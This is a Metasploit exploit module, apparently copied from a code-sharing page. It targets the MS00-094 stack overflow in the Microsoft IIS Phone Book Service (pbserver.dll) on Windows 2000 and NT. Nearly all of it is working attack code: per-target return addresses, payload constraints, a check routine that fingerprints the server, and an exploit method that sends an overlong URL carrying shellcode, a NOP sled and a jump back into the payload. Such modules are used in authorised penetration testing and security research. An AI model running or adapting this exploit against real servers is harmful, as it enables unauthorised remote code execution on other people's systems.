Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GoodRanking
8

9
  include Msf::Exploit::Remote::HttpClient
10

11
  def initialize(info = {})
12
    super(update_info(info,
13
      'Name'           => 'MS00-094 Microsoft IIS Phone Book Service Overflow',
14
      'Description'    => %q{
15
          This is an exploit for the Phone Book Service /pbserver/pbserver.dll
16
        described in MS00-094. By sending an overly long URL argument
17
        for phone book updates, it is possible to overwrite the stack. This
18
        module has only been tested against Windows 2000 SP1.
19
      },
20
      'Author'         => [ 'aushack' ],
21
      'License'        => MSF_LICENSE,
22
      'References'     =>
23
        [
24
          [ 'CVE', '2000-1089' ],
25
          [ 'OSVDB', '463' ],
26
          [ 'BID', '2048' ],
27
          [ 'MSB', 'MS00-094' ],
28
        ],
29
      'Privileged'     => false,
30
      'DefaultOptions' =>
31
        {
32
          'EXITFUNC' => 'thread',
33
        },
34
      'Payload'        =>
35
        {
36
          'Space'    => 896,
37
          'BadChars' => "\x00\x0a\x0d\x20%&=?",
38
          'StackAdjustment' => -3500,
39
        },
40
      'Platform'       => 'win',
41
      'Targets'        =>
42
        [
43
          ['Windows 2000 SP1', { 'Ret' => 0x77e8898b }], # jmp esp kernel32.dll
44
          ['Windows 2000 SP0', { 'Ret' => 0x77ea162b }], # call esp kernel32.dll
45
          ['Windows NT SP6', { 'Ret' => 0x77f32836 }], # jmp esp kernel32.dll
46
        ],
47
      'DisclosureDate' => '2000-12-04',
48
      'DefaultTarget' => 0))
49

50
    register_options(
51
      [
52
        OptString.new('URL', [ true,  "The path to pbserver.dll", "/pbserver/pbserver.dll" ]),
53
      ])
54
  end
55

56
  def check
57
    print_status("Requesting the vulnerable ISAPI path...")
58
    res = send_request_raw({
59
      'uri' => normalize_uri(datastore['URL'])
60
    }, 5)
61

62
    if (res and res.code == 400)
63
      return Exploit::CheckCode::Detected
64
    end
65
    return Exploit::CheckCode::Safe
66
  end
67

68
  def exploit
69

70
    print_status("Sending overflow...")
71

72
    res = send_request_raw({
73
      'uri' => normalize_uri(datastore['URL']) + '?&&&&&&pb=' + payload.encoded + [target['Ret']].pack('V') + make_nops(8) + Rex::Arch::X86.jmp(-912)
74
    }, 5)
75

76
    handler
77

78
  end
79
end
80

81